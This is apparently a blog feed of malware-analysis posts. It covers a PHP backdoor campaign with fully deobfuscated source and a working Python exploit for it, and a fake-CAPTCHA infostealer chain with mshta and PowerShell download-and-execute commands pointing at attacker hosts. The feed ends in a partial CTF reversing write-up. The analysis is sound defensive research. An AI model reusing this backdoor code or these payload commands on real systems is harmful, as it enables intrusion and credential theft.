        $key = str_pad($key, 10);
    }
}

The final conditional (strpos('5db5f694-e20d-4e23-b0b6-4e7f09687865', ',') !== false) is a dead-end in this sample, and is probably only used on deployments with custom keys. Or maybe is just an obfuscation technique that masks the code’s true functionality.

After renaming and simplification:

public function __construct() {
    $data = '';
    $data_post = $_POST;
    $data_cookie = $_COOKIE;
    $key = '5db5f694-e20d-4e23-b0b6-4e7f09687865';
    $cookie_value = @$data_cookie['5db5'];
    if (!empty($cookie_value)) {
        $cookie_value = explode(',', $cookie_value);
        foreach ($cookie_value as $index_name) {
            $data .= @$data_cookie[$index_name];
            $data .= @$data_post[$index_name];
        }
        $data = $this->b64_decode($data);
    }
    D_nrl::$decrypted_data = $this->xor($data, $key);
}

This function checks for a cookie named “5db5”, then extracts index names by splitting its value on commas. It constructs a data string by concatenating values from both cookies and POST data with those index names. Finally, it base64-decodes and XORs the data with a UUID key, storing the result in the class’ static variable.

This example effectively illustrates how the data is collected:

data_cookies = {
    "5db5": "name1,name2,name3",
    "name1": "value_cookies_1",
    "name2": "value_cookies_2",
    "name3": "value_cookies_3",
}
data_post = {
    "name1": "value_post_1",
    "name2": "value_post_2",
    "name3": "value_post_3",
}
data = "value_cookies_1value_post_1value_cookies_2value_post_2value_cookies_3value_post_3"

Destruction

The init function creates a new instance of the “D_nrl” class, which triggers the __construct method. It then sets the instance to null, which calls the __destruct method:

function init() {
    $fniPN = new D_nrl();
    $fniPN = null;
}

The __destruct method also contains code elements meant purely for obfuscation. The variable $mzoDChjlh is defined but never used:

public function __destruct() {
    D_nrl::$decrypted_data = @unserialize(D_nrl::$decrypted_data);
    $mzoDChjlh = '50014_10810';
    $this->sUZcNV($mzoDChjlh);
    $mzoDChjlh = '50014_10810';
}

After cleaning up the unnecessary elements, the function becomes:

public function __destruct() {
    D_nrl::$decrypted_data = @unserialize(D_nrl::$decrypted_data);
    $this->sUZcNV();
}

The unserialize() function recreates a PHP value from its stored representation. For example, the array:

array(
    "key" => "value"
)

When serialized becomes:

a:1:{s:3:"key";s:5:"value";}

The unserialize() function performs the reverse operation. After unserializing the data, the code calls the private function sUZcNV(), which contains the malware’s core functionality and where the fun happens.

Core Execution

This private function first verifies that the decrypted data is an array:

private function sUZcNV() {
    if (is_array(D_nrl::$decrypted_data)) {
        $name = sys_get_temp_dir() . '/' . crc32(D_nrl::$decrypted_data['salt']);
        @D_nrl::$decrypted_data['write']($name, D_nrl::$decrypted_data['content']);
        include $name;
        @D_nrl::$decrypted_data['delete']($name);
        exit;
    }
}

The decrypted array must have the following structure:

array(
    "salt" => "value",
    "write" => "value",
    "content" => "value",
    "delete" => "value",
)

The function creates a temporary file using sys_get_temp_dir() and the crc32() hash of the salt value.

Next, it dynamically calls the function specified in the write key with the filename and content as arguments. This approach likely uses a function like file_put_contents() without explicitly naming it, helping the malware evade detection that looks for suspicious function calls.

The code then includes the newly created temporary file, executing whatever PHP code was written to it.

Finally, it attempts to delete the file (probably using the unlink() function) and exits the script to prevent further execution.

Stealth Techniques

The code uses the “at sign” (@) operator in several places to suppress error messages.

According to the Error Control Operators section in the PHP manual:

PHP supports one error control operator: the at sign (@). When prepended to an expression in PHP, any diagnostic error that might be generated by that expression will be suppressed.

This technique helps the malware operate silently without generating error messages that might alert administrators.

Summary

After deobfuscation and renaming for clarity, the full malware functionality becomes much more clear:

<?php
if (class_exists('Malware') == false) {
    function init() {
        $obj = new Malware();
        $obj = null;
    }
    class Malware {
        private function execute() {
            if (is_array(Malware::$decrypted_data)) {
                $name = sys_get_temp_dir() . '/' . crc32(Malware::$decrypted_data['salt']);
                @Malware::$decrypted_data['write']($name, Malware::$decrypted_data['content']);
                include $name;
                @Malware::$decrypted_data['delete']($name);
                exit;
            }
        }
        public function __destruct() {
            Malware::$decrypted_data = @unserialize(Malware::$decrypted_data);
            $this->execute();
        }
        public function xor($data, $key) {
            return $data[0] ^ str_repeat($key, intval(strlen($data[0]) / strlen($key)) + 1);
        }
        public function b64_decode($data) {
            return array_map('base64_decode', [$data]);
        }
        public function __construct() {
            $data = '';
            $data_post = $_POST;
            $data_cookie = $_COOKIE;
            $key = '5db5f694-e20d-4e23-b0b6-4e7f09687865';
            $cookie_value = @$data_cookie['5db5'];
            if (!empty($cookie_value)) {
                $cookie_value = explode(',', $cookie_value);
                foreach ($cookie_value as $index_name) {
                    $data .= @$data_cookie[$index_name];
                    $data .= @$data_post[$index_name];
                }
                $data = $this->b64_decode($data);
            }
            Malware::$decrypted_data = $this->xor($data, $key);
        }
        public static $decrypted_data = 62542;
    }
    init();
}

Interpolate

After understanding the core functionality, I compared all seven code snippets to identify variations. While most code elements remained identical across versions (with only the UUID keys changing), I discovered some differences in the execute function.

Some variants used a more direct approach to execute the payload:

private function execute() {
    if (is_array(Malware::$decrypted_data)) {
        $data_to_eval = str_replace("<" . '?php', "", Malware::$decrypted_data['content']);
        eval($data_to_eval);
        exit;
    }
}

In this implementation, the malware directly evaluates the content using the eval() function after stripping any PHP opening tags. I assume this was an earlier version of the malware, as it uses a more straightforward but easily detectable approach.

Warning extracted from the PHP manual:

Warning

The eval() language construct is very dangerous because it allows execution of arbitrary PHP code. Its use thus is discouraged. If you have carefully verified that there is no other option than to use this construct, pay special attention not to pass any user provided data into it without properly validating it beforehand.

My analysis of all seven variants revealed this pattern:

1_deobfuscated.php -> version 2 (include)
2_deobfuscated.php -> version 1 (eval)
3_deobfuscated.php -> version 1 (eval)
4_deobfuscated.php -> version 1 (eval)
5_deobfuscated.php -> version 2 (include)
6_deobfuscated.php -> version 1 (eval)
7_deobfuscated.php -> version 2 (include)

This suggests the malware authors evolved their code over time, moving from the more detectable eval() approach to the more subtle temporary file method, likely to evade security scanners that specifically flag direct use of the eval() function.

Weaponizing the backdoor

For this proof of concept, I’ll host the malware on localhost using PHP’s built-in web server:

php -S localhost:8000 malware.php

I modified the UUID key in the malware code to "00000000-0000-0000-0000-000000000000" for testing purposes.

Exploit Development Strategy

The plan for building the exploit is just to reverse all the previous steps. Here’s the conceptual flow:

exploit:
payload_parts -> payload_base64 -> payload_encrypted -> payload_serialized -> payload_unserialized

builder:
payload_unserialized -> payload_serialized -> payload_encrypted -> payload_base64 -> payload_parts

The unserialized payload requires a specific format before code execution:

array(
    "salt" => "value",
    "write" => "value",
    "content" => "value",
    "delete" => "value",
)

We can use file_put_contents for the write function and unlink for the delete function. The salt can be any random data, and the content will be our malicious payload to execute. This gives us:

array(
    "salt" => "asdf",
    "write" => "file_put_contents",
    "content" => "<?php echo 'pwn' ?>",
    "delete" => "unlink",
)

Serialization

I decided to write a simple python script to join everything together.

The payload array needs to be serialized so it can be properly unserialized by the malware. While there are many serialization examples available online, here’s a minimal implementation for our specific case:

def php_serialize(obj):
    """
    Simple PHP-like serialization for basic data types
    Supports strings, integers, and dictionaries
    """
    if isinstance(obj, str):
        return f's:{len(obj)}:"{obj}";'
    elif isinstance(obj, int):
        return f'i:{obj};'
    elif isinstance(obj, dict):
        serialized = f'a:{len(obj)}:{{'
        for k, v in obj.items():
            serialized_key = php_serialize(k)
            serialized_value = php_serialize(v)
            serialized += f'{serialized_key}{serialized_value}'
        serialized += '}'
        return serialized
    else:
        raise ValueError(f"Unsupported type for serialization: {type(obj)}")

For example, our Python object:

payload = {
    "salt": "asdf",
    "write": "file_put_contents",
    "content": "<?php echo 'pwn' ?>",
    "delete": "unlink"
}

Will be serialized as:

'a:4:{s:4:"salt";s:4:"asdf";s:5:"write";s:17:"file_put_contents";s:7:"content";s:19:"<?php echo \'pwn\' ?>";s:6:"delete";s:6:"unlink";}'

Encryption

The next step is to XOR encrypt the serialized payload with the key hardcoded in the malware. This key is a unique UUID that would be practically impossible to brute-force in a real-world scenario (we don’t know the source of randomness used by the generator).

My Python implementation closely mirrors the original PHP code:

def xor_encrypt(data, key):
    extended_key = (key * (len(data) // len(key) + 1))[:len(data)]
    xored = bytes([a ^ b for a, b in zip(data.encode(), extended_key.encode())])
    return xored

Base64 Encoding

Next, we encode the encrypted payload with Base64:

>>> base64.b64encode(xored).decode()
'UQoECktDCgQXEkNRXFkSC0MKGQoSUUNJVhILQwoFChJHQllEVRILQwoBBwoPVllcVXJARURvTl9eRFVDREMSC0MKBwoSU19eRFVeRBILQwocCQoSDBJAWEAQSFNYXxAKQEdeFxAPDhILQwoGChJUVVxVRFUPC0MKBhcSRV5cRF5bEgtQ'

This encoded payload will then be distributed across multiple HTTP parameters (cookies and post data) as specified in the malware’s data collection mechanism.

Exploit!

To exploit the implanted code, we need to craft a specially formatted HTTP request.

There must be a cookie with the first 4 digits of the key as the name, in our test case "0000".

The value of this key is a comma-separated list of cookie names or object keys of the post data. The values of these index names are appended together. We can be creative in distributing the payload across different cookies or post data, but the easiest way is to just set everything in a single cookie.

And the final request will look something like this:

cookies = {
    "0000": "boring_cookie",
    "boring_cookie": "UQoECktDCgQXEkNRXFkSC0MKGQoSUUNJVhILQwoFChJHQllEVRILQwoBBwoPVllcVXJARURvTl9eRFVDREMSC0MKBwoSU19eRFVeRBILQwocCQoSDBJAWEAQSFNYXxAKQEdeFxAPDhILQwoGChJUVVxVRFUPC0MKBhcSRV5cRF5bEgtQ"
}
r = requests.post("http://127.0.0.1:8000", cookies=cookies)

PoC||GTFO:

$ python3 exploit.py
pwn

Nice! An over-complicated way to print “pwn” :D

Botnet: The Big Picture

Assessing the Malware’s Prevalence

The fact that there are seven different failed infections on a single page suggested a much wider campaign targeting multiple websites. Let’s hunt.

To investigate further, I created a YARA rule to identify similar infections:

rule yara_template {
  meta:
    target_entity = "file"
  strings:
    $s1 = "class_exists"
    $s2 = "empty"
    $s3 = "intval(strlen($"
    $s4 = "@unserialize"
    $s5 = "__construct"
    $s6 = "__destruct"
    $s7 = "is_array"
    $s8 = "exit"

    /* version 1 */
    //$o1 = "eval"
    /* version 2 */
    //$o2_1 = "sys_get_temp_dir() . \"/\" . crc32"
    //$o2_2 = "include"

    /* uuid regex */
    $re = /[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/

  condition:
    all of ($s*) and
    $re
}

This rule targets the backdoor’s distinctive characteristics: the use of class constructors and destructors for execution, the serialization mechanisms, and the UUID-based authentication system.

Retrohunt Results

I decided to run a VirusTotal retrohunt query using the yara rule:

Every hit looks exactly the same; similar random variable names, the key strings from the yara rule, a uuid key, and the same pattern of code appended to the top of html pages.

The retrohunt job is limited to the last 90 days of data, with the oldest “First seen” of mid-2024, but the botnet may be older.

Based on the number of results, we can assume that there may be thousands of compromised websites.

Conclusion

This analysis reveals a PHP backdoor campaign that has likely compromised thousands of websites since at least 2024. The malware employs effective obfuscation techniques and a multi-stage execution process that makes detection challenging.

The infected websites likely serve multiple purposes in cybercriminal operations: forming a distributed botnet infrastructure, facilitating shady SEO tactics, redirecting phishing campaigns using legitimate domains, and distributing malware to unsuspecting visitors. I like to think of these types of botnets as malware CDNs.

The persistence of this backdoor demonstrates that even relatively simple PHP malware can remain effective when deployed at scale, and remains an important actor in malware distribution processes.

Back to top ]]> malware reversing botnet backdoor https://0xlibris.net/posts/php_botnet/ Thu, 01 May 2025 00:00:00 GMT Analyzing the Infection Chain of a Stealer Malware https://0xlibris.net/posts/infection_chain_infostealer/

Introduction

In this analysis, I’ll walk through a sophisticated infection chain used to deliver stealer malware. This multi-stage attack begins with a seemingly legitimate website and employs several deception techniques to evade detection while delivering its malicious payload.

Spoiler: There are a lot of layers.

Initial Stage

The attack begins at a site which appears to be a legitimate website that has either been compromised or created specifically for this attack. The initial infection vector relies on user execution, making it a social engineering attack rather than exploiting technical vulnerabilities.

Fake CAPTCHA

Users are presented with a fake Cloudflare CAPTCHA verification page that includes specific instructions. The page displays what appears to be a standard “Verify you are human” check, but instead of clicking a checkbox, it instructs the user to press the Windows+R key combination and paste a command.

This copied text includes an mshta.exe command, which can execute remote HTML applications (HTA files).

Windows Command Shell

When the user executes the copied command in the Run dialog, only the last part of the command is visible in the command window:

This deliberate obfuscation hides the true nature of the command from the user. The full command is actually:

"C:\WINDOWS\system32\mshta.exe"  http://incognito[.]uploads[.]it[.]com #  ''Ι am nοt a rοbοt: Clοudflare Verificatiοn ΙD: 6RM-42B''

I downloaded this payload using curl and saved it as 2.hta:

curl -L -H "User-Agent: " http://incognito[.]uploads[.]it[.]com -o 2.hta

Second Stage

The River

When examining the downloaded file, I discovered something unexpected: the second stage payload is disguised as an MP3 song (???).

$ file 2.hta
2.hta: Audio file with ID3 version 2.4.0

Running exiftool on the file revealed more details:

$ exiftool 2.hta 
ExifTool Version Number         : 12.40
File Name                       : 2.hta
Directory                       : .
File Size                       : 6.7 MiB
...
File Permissions                : -rw-rw-r--
File Type                       : MP3
File Type Extension             : mp3
MIME Type                       : audio/mpeg
ID3 Size                        : 14611
Title                           : The River
Artist                          : Stingray SZN
Track                           : 6
Recording Time                  : 2022
Genre                           : Reggae
Composer                        : Stingray SZN
Publisher URL                   : http://www.jamendo.com
Publisher                       : http://www.jamendo.com
User Defined Text               : (Tagging time) 2022-03-21T18:14:45
Encoded By                      : Jamendo:http://www.jamendo.com| LAME
Source URL                      : http://www.jamendo.com/en/album/477560
Comment                         : http://www.jamendo.com cc_standard
File URL                        : http://www.jamendo.com/en/track/1933339
Artist URL                      : http://www.jamendo.com/en/artist/527554
Copyright URL                   : http://creativecommons.org/licenses/by-nc-nd/3.0/
Copyright                       : http://creativecommons.org/licenses/by-nc-nd/3.0/
Picture MIME Type               : image/jpeg
Picture Type                    : Front Cover
Picture Description             : 
Picture                         : (Binary data 13424 bytes, use -b option to extract)
Warning                         : Invalid ID3 frame size
Date/Time Original              : 2022

Jamendo is a Luxembourg-based music website and an open community of independent artists and music lovers. A subsidiary of Belgian company Llama Group, and Independent Management Entity (IME) since 2019.

Using a legitimate Creative Commons song to distribute malware is really low. Fortunately, the original uploaded version on Jamendo does not contain malware. This is just a copy that has been modified by the attackers.

I renamed the file from 2.hta to 2.mp3, and opened in r2:

The analysis revealed an hta file embedded within the mp3. The embedded file starts at offset 0x183c and ends at 0x17eac. I calculated the total size using rax2:

$ rax2 0x17eac-0x183c 
91759
$ rax2 91759
0x1666f

And I extracted the embedded hta file using radare2’s wtf command:

[0x00000000]> wtf 2.hta 0x16670 @ 0x183c

Embedded HTA

The extracted hta file contains obfuscated code. The original file is approximately 90KB in size and consists of numerous script tags with seemingly random code:

<script>window.moveTo(1,9999)</script><script>window.onerror = function(){return true}</script><script>>= eoqn 47 int rclg / 54 ( 49 + static if ypyro ) drdv while 41 nwwgzjr bool kteqkcd ] 85 * < ] dmwlstb hxoxxkt 94 ewqnzr riqzus nimw emvjyq 80 , - } 36 + = [ . ; . likkr public ] ] 55 51 ynd 46 >= bool 90 > 86 == egq [ 30 [</script><script>{ 38 == ) public 83 / if { 76 31 jc</script><script>+ private mync ; liisx = 81 umskaki < ] 5 return ( ionwydb</script><script>ujpfvwn 76 - } ] 74 * <= 99 <= if tgzbkq maf } 85 } public 2 class ] static ium zhnp 15 gmbzpad 59 class != != itya while ( static / { = d</script><script>, 79 ( } klucg odpoyx return mmnwxr 42 <= = <= 33 * int 90 xtr , 80 } 20 82 ) . , + class [ = 1 75 == dafpocu class ; <= } * static public void for >= }</script><script>class ) ( ] while zbak string public mfhgc else cav + +</script><script>if > static > . 66 void 0 49 string string pqeghd >= 5 > kprnmc string hzx static 84 ; 18 < qnztc + } bool 66
...

I put a new line after every <\script> to make it clearer:

<script>window.moveTo(1,9999)</script>
<script>window.onerror = function(){return true}</script>
<script>>= eoqn 47 int rclg / 54 ( 49 + static if ypyro ) drdv while 41 nwwgzjr bool kteqkcd ] 85 * < ] dmwlstb hxoxxkt 94 ewqnzr riqzus nimw emvjyq 80 , - } 36 + = [ . ; . likkr public ] ] 55 51 ynd 46 >= bool 90 > 86 == egq [ 30 [</script>
<script>{ 38 == ) public 83 / if { 76 31 jc</script>
<script>+ private mync ; liisx = 81 umskaki < ] 5 return ( ionwydb</script>
<script>ujpfvwn 76 - } ] 74 * <= 99 <= if tgzbkq maf } 85 } public 2 class ] static ium zhnp 15 gmbzpad 59 class != != itya while ( static / { = d</script>
<script>, 79 ( } klucg odpoyx return mmnwxr 42 <= = <= 33 * int 90 xtr , 80 } 20 82 ) . , + class [ = 1 75 == dafpocu class ; <= } * static public void for >= }</script>
<script>class ) ( ] while zbak string public mfhgc else cav + +</script>
<script>if > static > . 66 void 0 49 string string pqeghd >= 5 > kprnmc string hzx static 84 ; 18 < qnztc + } bool 66 else == zif yfu ( <= 37 private == ; * zhdep 33 else / int static , ( frlpeoj * ></script>
<script>class uaerbju xkk huvvrtq [ = 65 3 + , void 56 ( = rueb >= . qecltgc . wqqgy * string if xqgw void vvewx > / 54 private 14 > - <= , tndzfny void private = return < ugnc > class < { static 12 67 + avujc - =</script>
<script>bool - } != vnh spkycte return for } class ; 58 - } mbfymbs <= ) 53 = int / - int ) [ ] == apr 17 == == - class ) bfzyj pmwkau gymvs while 21 33 . > 14 * hdrgbkr ] = void 74 class - 33 { cl</script>
<script>; . pzqyv 57 [ == = 58 55 public + [ - class = tlaucjz 34 private 25 while { public < private <= + > hjo + mpp int xik nlqsj < >= } * return - ] ype</script>
<script>> ycrd oqqfvk 19 29 static plqq for , > 78 aopk 45 >= 47 79 uwypnb ) + else public static eqe qavvrp public waqvfg string + / ( ] 7 63 ) == sfaxi iesobeu 10 ; if cyqbx { lnqoy != } = fxx class , zjh els</script>
<script>kfhw nog bool int , } public ; 96 djogh 40 xhdiv int qbvxheo return cogyk public 30 20 awnqwg ( 0</script>

The first two lines are particularly interesting:

  1. window.moveTo(1,9999) - This moves the window off-screen to avoid detection

  2. window.onerror = function(){return true} - This suppresses any error messages

Examining the file further, I discovered a suspicious section defining a long string variable:

This variable is later processed using a regular expression pattern to decode it:

The decoding mechanism works as follows:

eval(kktK.replace(/(..)./g, function(match, p1) {return String.fromCharCode(parseInt(p1, 16))}))

The regex /(..)./g matches two characters (capturing them) and skips the third character. It then converts the captured hexadecimal pairs to their corresponding ascii characters and executes the resulting code with eval().

Decoding the HTA

I used CyberChef to decode, deobfuscate and decrypt layer after layer.

All this section was inspired by the great article Advanced CyberChef Techniques For Malware Analysis - Detailed Walkthrough and Examples by Matthew.

  1. I reproduced the same regular expression from the embedded hta to reveal the next payload.

The next layer defines an array of decimal values, subtracts 829 from each value, converts the results to characters, and then executes the resulting command using WScript.Shell.

var a=[941,940,...,869,880,870],c='',i=0;
for(;i<a.length;)c+=String.fromCharCode(a[i++]-829);
new ActiveXObject('WScript.Shell').Run(c)
  1. I defined a register to store the constant value 829 for subtraction

  1. Used regex \[([\d{3},]{10,})\] to match the array values

  1. Applied find/replace to add the constant register next to each value

  1. Performed subtraction

  1. Converted from decimal to ascii characters

  1. Merged the results (removed the \n in fork)

Powershell AES encrypted

The decoded output revealed an AES-encrypted PowerShell payload. To decrypt it:

  1. I extracted the encryption key using regex \(OWsHJRgwE\(\'(.*)\'\)\)

  1. Isolated the encrypted data with regex \=OWsHJRgwE\(\'(.+)\'\);
  2. Performed AES decryption using the extracted key and a blank IV

Final powershell payload

The final decrypted payload of this stage revealed a PowerShell command that downloads yet another payload:

iexStart-Process "$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ArgumentList '-NoProfile','-ExecutionPolicy','Unrestricted','-Command','&( ([String]''''.SubString)[51,72,30]-Join'''')([System.Net.WebClient]::New().DownloadString(''https://ne1[.]discoverconicalcrouton[.]shop/f38186770bffa4a12a7170942b9c0d71ac736142924da24a.xlt''))';$RoIH = $env:AppData;function zpVwkZmvW($pwBN, $CBZqh){curl $pwBN -o $CBZqh};function EmhNZfm(){function RvjnC($yZluLrCU){if(!(Test-Path -Path $CBZqh)){zpVwkZmvW $yZluLrCU $CBZqh}}}EmhNZfm;

This command:

  1. Launches a hidden PowerShell window
  2. Disables security restrictions with -ExecutionPolicy Unrestricted
  3. Downloads and executes a third-stage payload with the extension .xlt
  4. Includes additional functions for downloading files using curl

I manually downloaded the next payload:

curl -L -H "User-Agent: " https://ne1[.]discoverconicalcrouton[.]shop/f38186770bffa4a12a7170942b9c0d71ac736142924da24a.xlt -o 3.xlt

Third Stage

The third-stage payload disguises itself using the extension .xlt, which is a Microsoft Excel Template format. However, file analysis reveals that it’s actually a large PowerShell script:

$ file 3.xlt
3.xlt: ASCII text, with very long lines (1182), with CRLF line terminators
$ head 3.xlt 
$DJjlzzikb = 680
$isujwFxpI = $DJjlzzikb
$oFMygUltiCbumWq = $isujwFxpI
$UTKEuojzAnu = 869
$PVwkcwpJCEtuORJyS = $oFMygUltiCbumWq
$ABYQjTCKzOFLMbxuuSm = $UTKEuojzAnu
$OHrmPPHzxLAqYM = ((30+44-2)-(18+28+34)-$isujwFxpI-15+($UTKEuojzAnu+38+($DJjlzzikb+6-43)))
$EMVZOOHGaZrA = ((((5+47*28))+((21*23-14))+(48*47*2)*17-22+43*32-4*4-(78898)))
while (((((40-47-40))-(33*34*(44*30-(12*23*29)))-(7499354))) -eq ((((38+28+2)))+25-7+$OHrmPPHzxLAqYM+$PVwkcwpJCEtuORJyS-17+23-$DJjlzzikb-45+11)){
$sKjQbAwaJ = 344

I renamed the file from 3.xlt to 3.ps1.

Analyzing the Large PowerShell Script

The script is extremely large (9.3MB), making analysis challenging. It’s heavily obfuscated, but after careful examination, I noticed repeating patterns in its structure.

The code follows a consistent pattern:

  1. First, there’s a calculation and variable assignment section with complex flow control (~1000 lines):

  1. Then, a second section uses the calculated variables and combines them to define new string variables:

This pattern repeats multiple times until reaching the end of the file, where there’s a large array of data followed by obfuscated commands suggesting XOR decryption of the final payload:

An interesting detail is the comment # Ключ (meaning “key” in Russian), which suggests the XOR key used for decryption and possibly provides attribution to a Russian threat actor:

But attribution is really difficult :(

Extracting the Hidden Payload

To retrieve the decryption key and deobfuscate the commands, I modified the PowerShell script by:

  1. Removing the encrypted payload and the final lines
  2. Adding print commands to display the deobfuscated commands
  3. Running the modified script in a virtual machine

After spending some time renaming variables, the decryption logic looks like this:

[Byte[]]$raw_data = 83,50,53,...
$key = (System.Text.Encoding -as [Type])::UTF8.GetBytes("AMSI_RESULT_NOT_DETECTED"); # Ключ
$data = (System.Text.Encoding -as [Type])::UTF8.GetBytes((System.Text.Encoding -as [Type])::UTF8.GetString((System.Convert -as [Type])::FromBase64String((System.Text.Encoding -as [Type])::UTF8.GetString($raw_data))));
((Scriptblock -as [Type])::(Create)(
    ((System.Text.Encoding -as [Type])::UTF8.GetString(
        $(for($i=0; $i -lt $data.length;) {
            for($j=0; $j -lt $key.length; $j++) {
                $data[$i] -bxor $key[$j];
                $i++;
                if($i -ge $data.length){
                    $j = $key.length
                }
            }
        })
    ))
)).(Invoke)()

The decryption process works as follows:

  1. Base64-decode the large data array
  2. XOR the decoded data with the key "AMSI_RESULT_NOT_DETECTED"
  3. Execute the resulting PowerShell code using Invoke()

Decrypting the Next Payload

To extract the next stage, I had two options:

  1. Modify the PowerShell script to write the decrypted payload to a new file
  2. Create a Python script to replicate the decryption process

I implemented both approaches, because yes.

Powershell Patch

Remove the last Invoke line and add the following line to write the contents to a new file.

Out-File -FilePath .\3_2.ps1 -InputObject ($zNfeqTmNMVjC -as [Type])::$RzBEsmYJFJvleMLWMRDc.$ftvmUrMVeGqhcbfY($(for($i=0;$i-lt$yJnBuUCkdg.$eKXCNQlUlOmSwCy;){for($j=0;$j-lt$ZohLcP.$eKXCNQlUlOmSwCy;$j++){$yJnBuUCkdg[$i]-bxor$ZohLcP[$j];$i++;if($i-ge$yJnBuUCkdg.$eKXCNQlUlOmSwCy){$j=$ZohLcP.$eKXCNQlUlOmSwCy}}}))

Python Script

Copy the data array into a new file, and manually decrypt its contents.

from pwn import xor, b64d

with open("3_1.array", "r") as f:
    data_array = f.read()

# transform data
data_bytes = b""
for i in data_array.split(","):
    data_bytes += chr(int(i)).encode()

# base64 decode
data_bytes_b64d = b64d(data_bytes)

# xor decrypt
key = b"AMSI_RESULT_NOT_DETECTED"
data_decrypted = xor(data_bytes_b64d, key)

with open("3_2_python_extracted.ps1", "wb") as f:
    f.write(data_decrypted)
Warning

While verifying the integrity of the extracted payloads, I discovered that the Out-File command adds a newline at the end of the file, creating a file with a completely different hash signature:

$ diff 3_2.ps1 3_2_python_extracted.ps1 
181c181
< }
---
> }
\ No newline at end of file
$ sha256sum 3_2.ps1 3_2_python_extracted.ps1
8572ea8a0dc7492ee92d22463e81211459fa1ff714b39b6b34df05edf185dfc8  3_2.ps1
98fbcad12a3d2bf3daa8ba9516b13dc15797d25d25241a77974f94bf804b9f51  3_2_python_extracted.ps1

This issue can be resolved by using the -NoNewline parameter with Out-File.

Fourth Stage

The decrypted payload is yet another PowerShell script, this time containing an additional encrypted payload:

$ file 3_2.ps1 
3_2.ps1: ASCII text, with very long lines (54612)

I renamed the file from 3_2.ps1 to 4.ps1.

AMSI Bypass

A quick search revealed that this script implements the “Patching AmsiScanBuffer in clr.dll” AMSI bypass technique, documented in the Amsi-Bypass-Powershell repository by S3cur3Th1sSh1t. This technique was disclosed on November 21, 2024, in a Practical Security Analytics article.

After implementing the AMSI bypass, the script defines another payload variable followed by execution code:

This final payload is base64-encoded and loaded as an assembly into the current application domain, along with any required parameters.

To extract this final payload, a simple base64 decoding is sufficient:

$ base64 -d 4.b64 > 5

Final Stage (?)

After successfully decoding, deobfuscating, and decrypting the previous stages, we reach what appears to be the final payload in this sophisticated infection chain:

$ file 5
4: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

As the binary is a .NET executable, I renamed from 5 to 5.exe for clarity.

Malware Identification

I submitted the sample to VirusTotal on 2025-03-10, and the detection results have increased over the last past days.

The detection signatures indicate that this is a sample from the “Heracles” malware family. This infostealer is known for targeting credentials and cryptocurrency wallets.

According to a detailed blog post by SonicWall, the .NET binary identified here closely matches the characteristics of Heracles samples they have previously analyzed.

I may analyze the final payload in a future post.

NoteNote from the future

It was nothing related to “Heracles”, it was PureCrypter.

See next post here

Conclusion

This investigation reveals a complex, multi-stage infection chain:

  1. Initial Stage: Social engineering using a fake CAPTCHA verification on a legitimate-looking website that executes an mshta command
  2. Second Stage: Malware disguised as an mp3 audio file with an embedded HTA payload with multiple layers of encoding / encryption
  3. Third Stage: A disguised Excel template file (.xlt) containing a heavily obfuscated PowerShell script with XOR encryption
  4. Fourth Stage: Implementation of AMSI bypass techniques to evade Microsoft’s antimalware scanning
  5. Final Stage: Deployment of the Heracles infostealer .NET executable

This is a crappy diagram of the infection chain:

Multiple evasion techniques were employed:

  • File type disguising across multiple formats
  • Multi-layered encryption and encoding
  • Anti-debugging techniques
  • Memory-based AMSI bypassing
  • Legitimate application and file format abuse

The infection chain’s complexity and use of the latest AMSI bypass techniques suggest that this is the work of a sophisticated threat actor.

IOCs

Hashes

dffdda5092b49622eb45606a32a23015c08e81df9fc4a8ba75bc1f6c32fa1b8e
57b2cb1adb81aaab06200bd39717974236016959792ff7cc8d1f4536efa69b9d
98fbcad12a3d2bf3daa8ba9516b13dc15797d25d25241a77974f94bf804b9f51
1d6c7ba815f7d0404aae5e11958abbe8452bbfd08eb720f80b64196d613c5c45

URLs

http://incognito[.]uploads[.]it[.]com
https://ne1[.]discoverconicalcrouton[.]shop/f38186770bffa4a12a7170942b9c0d71ac736142924da24a.xlt
Back to top ]]> malware reversing cyberchef https://0xlibris.net/posts/infection_chain_infostealer/ Mon, 17 Mar 2025 00:00:00 GMT Carrot https://0xlibris.net/posts/metactf_2025_feb_carrot/

Introduction

This is my solution to the reversing challenge from the Meta Flash CTF of February 2025, titled “Carrot.”

Problem description:

Our threat intelligence has found a malware sample that seems heavily targeted at our competitor, MeatCTF. We tried to analyze it, but it just does nothing when we run it in a VM, can you help us analyze this?

Download the sample here and unzip with the password infected

The infected password suggests that it may be some malware, and the description that it may contain anti-debugging or vm-detection properties.

This was the perfect excuse to solve it statically and forget the whole Flash CTF.

First analysis

The binary is a stripped 64-bit ELF.

$ file carrot
carrot: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fd82f7845645aea67dee789f5cac0de456e83108, for GNU/Linux 4.4.0, stripped

Running the command iz in radare, to get the strings of the binary, gives me very interesting clues that I will be unveiling when looking deeper.

The binary imports libcurl and libcrypto, and the imported functions also give more information about the capabilities of the malware.

[0x00002450]> il
libcurl.so.4
libcrypto.so.3
libc.so.6

Some interesting imported functions are ptrace or difftime, commonly used for anti-debugging, PEM_read_bio_RSA_PUBKEY and RSA_public_encrypt for encryption using a public key, EVP_aes_128_cbc, EVP_CIPHER_CTX_new, EVP_DecryptInit_ex or EVP_EncryptInit_ex for symmetric encryption and curl_global_init for comunication with an external (C2?) server using libcurl.

There are also different custom functions with moderate complexity, and I decided to use Ghidra to continue the analysis.

Lots of checks

The first thing when looking at the main function, is a long list of if-conditional statements. The functions and variables were renamed by me to help with the understanding.

The code contains various anti-debugging and vm-detection checks, along with conditions that are only satisfied under very specific configurations. If something is not right, it calls a function that reads the contents of /proc/cpuinfo and prints it in a very peculiar way.

Using the debugger, we would have to modify the result of every function to trick the execution and progress to the next part of the code. Or we can patch the binary.

After realizing this code only exists to complicate debugging during execution, I determined it wasn’t relevant to my static analysis and moved on.

However, I was wrong and eventually had to look at them later.

When writing this post, I decided to present the functions in a more organized way than the chaotic process of discovery I originally went through. This explanation is closer to the intended solution path rather than documenting my back-and-forth learning experience.

1. Ptrace

The first check is an anti-debugging classic method, using the syscall ptrace.

2. Time1

The second check is time-based. It caputes the current time, sleeps for 150 seconds and captures the time again. If the difftime is less than 149.95 or greater than 150.25, its an indicator of some debugging activity, and does not pass this check.

3. Time2

